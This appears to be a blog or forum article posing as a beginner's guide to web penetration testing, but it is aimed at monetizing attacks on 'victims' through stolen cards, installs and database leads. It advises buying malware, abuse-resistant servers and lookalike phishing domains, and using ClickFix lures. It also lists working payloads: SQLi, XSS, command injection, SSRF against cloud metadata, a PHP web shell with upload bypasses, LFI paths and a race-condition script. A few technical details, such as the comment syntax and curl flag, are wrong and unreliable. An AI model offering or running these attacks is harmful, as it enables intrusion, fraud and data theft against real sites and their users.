Hello, dear readers! In this article, I’ve put together a brief overview of the basics of web application penetration testing. This material will be particularly useful for those who are just planning to start working in this field. More advanced articles will be coming soon.

Where to start?

To get started, you’ll need a secure system running Kali Linux or another Linux distribution. It’s best to use a remote server-this will improve your operational security (OpSec). If you’re interested, I can go into more detail about how to choose a secure device and operating system.

Setting a target.

For those who don’t know where to start, I recommend deciding what kind of revenue you want to generate from website. Website monetization is typically achieved through:

• Cards
• Installs
• Leads from databases
• Traffic

Once we’ve chosen what interests us most, we quickly analyze whether the websites we’re interested in have anything in common, such as a framework, icon, header, or matching HTML code. We make a note of this and move on.

Reconnaissance

I will discuss an approach for working with a single specific target (other tools are required for mass-testing).

We navigate to the target website. First, we check which subdomains it has. Kali provides a tool called subfinder for this task (all these applications can be easily downloaded in other Linux distributions as well).

subfinder -d target.com -o subdomains.txt

We've identified several subdomains. Now we need to determine exactly what's on those subdomains; there's a browser plugin called Wappalyzer that can help with this. We get the following result:

We'll start fuzzing (brute-force testing) using ffuf to identify interesting endpoints; for this, we'll use a list of words for brute-force attacks from a great repository.

ffuf -u https://www.target.com/FUZZ -w api-endpoints.txt -mc 200,301,302,401,403

Be sure to try a Google dork - sometimes this simple method can uncover a lot of interesting information due to incorrect access settings for important files.

site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com ext:sql OR ext:env

Gather basic information about DNS; sometimes this allows us to determine the server’s actual IP address without a WAF (protection against DDoS attacks, bots, vulnerabilities, etc.), similar to CloudFlare.

d=example.com; for t in A AAAA CNAME MX NS TXT SOA CAA; do o=$(dig +short "$d" "$t"); [ -n "$o" ] && printf '\n[%s]\n%s\n' "$t" "$o"; done

The most important thing in this section is to gather as much information as possible about the potential victim. The more information you gather - and the higher its quality - the easier it will be to carry out the subsequent steps.

Resource Development

This is the preparation phase, during which we select and prepare tools and develop a strategy. Everyone chooses the tools they find easiest to work with.

Purchase the necessary resources, such as:

• Domains (similar to the victims’ domains)
• Servers (abuse-resistant)
• Malware (viruses or backdoors)
• Exploits
• Accounts (on social media, email, cloud services)
• Advertising

Choose an attack method, for example:

Phishing – create a website that mimics the login page for the victim’s admin panel or project management dashboard, purchase a similar domain (replacing “i” with “l,” “o” with “0” , etc.) and distribute the link via email, phone calls, advertisements, postal mail, or social media.

Virus - use our own or rent software compatible with the victim’s operating system. The type of software should be chosen based on the task at hand (HVNC, RAT, stealer, loader). Purchase a certificate for the victim’s OS to bypass antivirus. Send an email with a clickfix (a CAPTCHA containing the payload).

Vulnerability - find errors related to incorrect file access settings, bugs in the code, such as SQLi (extracting data from a database), web cache spoofing, XXE injection (exploiting XML vulnerabilities), and many others. This is the main topic of my article today, and I will discuss it in more detail below.

Initial Access

The ultimate goal of every web hunter. The moment when you finally get what you’ve been searching for so long. So let’s take a look at a few common vulnerabilities.

Burp Suite - the most convenient tool for modifying requests and responses

Let’s start with the well-known SQLi. To understand it, it helps to have some familiarity with the SQL language; in short, it’s enough to know that the SELECT statement causes many databases to reveal data to you, an ordinary user, that should have remained confidential. Such queries usually begin with a single quote (') and end with two backslashes (--)

Example of a vulnerable link

https://target.com/products?category=Gifts'+OR+1=1--

The most popular SQL databases are MySQL, PostgreSQL, Oracle, and Microsoft.

IDOR - Unauthorized access to sensitive data through brute-force attacks because the application does not verify whether the current user is authorized to view the page. Example:

GET /api/user/123/profile
GET /api/user/124/profile


curl -x POST /api/user/124/profile
curl -x PUT /api/user/124/profile
curl -x DELETE /api/user/124/profile

You can try modifying the queries as follows:

POST /api/user/124/update
{"role": "admin", "is_admin": true}

XSS – when an interface is vulnerable to unexpected actions. If you discover one of these vulnerabilities, you can extract a session if the interface is configured incorrectly. Typically, these vulnerabilities are checked in all input fields or even when files are uploaded. Examples:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
<ScRiPt>alert(1)</sCrIpT>
<body onload=alert(1)>
<svg/onload=alert(1)>

Command injection - when the backend executes commands on its operating system. Examples:

; ls
| cat /etc/passwd
&& whoami
`id`
$(whoami)

# Blind
; sleep 10
| ping -c 10 127.0.0.1

SSRF – The #1 vulnerability according to OWASP 2025. It occurs when a web application navigates to a page it was not supposed to access. This exposes internal services, allows bypassing the firewall, and in some cases leads to privilege escalation to the level of remote code execution (RCE). The vulnerability is caused by a lack of restrictions on sending requests, incorrect CORS configuration, and weak input validation. Examples:

http://127.0.0.1
http://localhost
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/

# Bypass
http://127.1
http://[::1]
http://127.0.0.1.nip.io

JWT Token Validation - These tokens are typically used to identify users. A JWT token is signed with the server’s private key, and if that key is compromised, it becomes possible to manipulate the information the backend uses to identify you.

jwt_tool <TOKEN> -X k -pk public.pem

Vulnerable file upload – sometimes the server-side component of a system executes a file you upload. Using Metasploit, you can easily create an exploit for this purpose.

# PHP shell
<?php system($_GET['cmd']); ?>

# Bypass using an extension
GIF89a<?php system($_GET['cmd']); ?>
shell.php.jpg
shell.php%00.jpg
shell.PhP

LFI/RFI - The first vulnerability allows access to local files on the server, such as configuration data or other sensitive files. The second vulnerability involves the ability to upload and execute a file from a remote server. Examples:

../../../../etc/passwd
../../../../var/log/apache2/access.log

Race Condition – If the backend cannot handle a large number of concurrent requests, it may process multiple purchases even if there were only enough funds in the account for one. Example:

import concurrent.futures, requests

def req():
    return requests.post('https://target.com/redeem', 
                        data={'code': 'GIFT100'})

with concurrent.futures.ThreadPoolExecutor(max_workers=20) as ex:
    [ex.submit(req) for _ in range(20)]

One of these methods is bound to work for you; the key is to apply it correctly, without rushing and keeping your cool. You’ll succeed—you just need to get started. Thank you for reading to the end; I hope you found this article useful and not too boring.

To gain a foothold in the system and achieve results, there are many more steps to follow, but I’ve tried to explain the basics as clearly and simply as possible, without delving into overly technical details. If you’re interested, I can write more articles; there are plenty of topics to cover, and plenty of motivation.